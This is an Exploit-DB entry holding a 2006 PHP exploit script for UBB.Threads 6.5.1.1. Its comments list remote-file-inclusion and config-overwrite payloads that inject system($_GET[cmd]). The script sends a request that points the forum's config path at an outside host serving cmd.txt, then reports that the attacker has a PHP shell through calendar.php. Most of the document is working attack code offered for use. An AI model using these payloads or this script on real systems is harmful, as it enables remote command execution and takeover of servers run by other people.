Exploit-DB #2457
Description: UBBCentral UBB.Threads 6.5.1.1 - 'doeditconfig.php' Code Execution
Type: webapps
Platform: php
Date: 2006-09-29
Author: HACKERS PAL

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
// UBB.threads Multiple input validation error

// Discovered By : HACKERS PAL
// Copy rights : HACKERS PAL
// Website : http://www.soqor.net
// Email Address : security@soqor.net

// Tested on Version 6 (6.5.1.1) and other versions maybe affected

// Remote File including :
// ubbt.inc.php?GLOBALS[thispath]=http://localhost/cmd.txt?&cmd=dir
// ubbt.inc.php?GLOBALS[configdir]=http://localhost/cmd.txt?&cmd=dir
// -------------------------------------------------------
// Files overwrite vulnerabilities
// if magic_qoutes_gpc = off

// admin/doedittheme.php?theme[soqor]=".system($_GET[cmd])."&thispath=../
// and open includes/theme.inc.php?cmd=ls -la
// or :-
// admin/doeditconfig.php?config[soqor]=".system($_GET[cmd])."&thispath=../
// and open includes/config.inc.php?cmd=ls -la

// -- # -- # -- # --

// if magic_qoutes_gpc = on
// admin/doeditconfig.php?thispath=../includes&config[path]=http://psevil.googlepages.com/cmd.txt?

// and you will have a command execution files ..
// example
// dorateuser.php?cmd=ls -la
// calendar.php?cmd=ls -la
// and so many other files which includes using this variable ($config[path])
// -------------------------------------------------------
// Full path
// cron/php/subscriptions.php
// -------------------------------------------------------
// Exploit :-

/*
/*   UBB.threads Multiple vulnerabilities
/*  This exploit should allow you to execute commands
/*            By : HACKERS PAL
/*             WwW.SoQoR.NeT
*/
print_r('
/**********************************************/
/*       UBB.threads Command Execution        */
/*    by HACKERS PAL <security@soqor.net>     */
/*         site: http://www.soqor.net         */');
if ($argc<2) {
	print_r('
/* --                                         */
/* Usage: php '.$argv[0].' host
/* Example:                                   */
/*    php '.$argv[0].' http://localhost/
/**********************************************/
');
	die;
}
error_reporting(0);
ini_set("max_execution_time",0);

$url=$argv[1]."/";
$exploit="admin/doeditconfig.php?thispath=../includes&config[path]=http://psevil.googlepages.com/cmd.txt?";
$page=$url.$exploit;
Function get_page($url)
{

	if(function_exists("file_get_contents"))
	{

		$contents = file_get_contents($url);

	}
	else
	{
		$fp=fopen("$url","r");
		while($line=fread($fp,1024))
		{
			$contents=$contents.$line;
		}

	}
	return $contents;
}

$page    = get_page($page);

$newpage = get_page($url."calendar.php");

if(eregi("Cannot execute a blank command",$newpage))
{
	Die("\n[+] Exploit Finished\n[+] Go To : ".$url."calendar.php?cmd=ls -la\n[+] You Got Your Own PHP Shell\n/*        Visit us : WwW.SoQoR.NeT            */\n/**********************************************/");
}
Else
{
	Die("\n[-] Exploit Failed\n/*        Visit us : WwW.SoQoR.NeT            */\n/**********************************************/");
}
?>

# milw0rm.com [2006-09-29]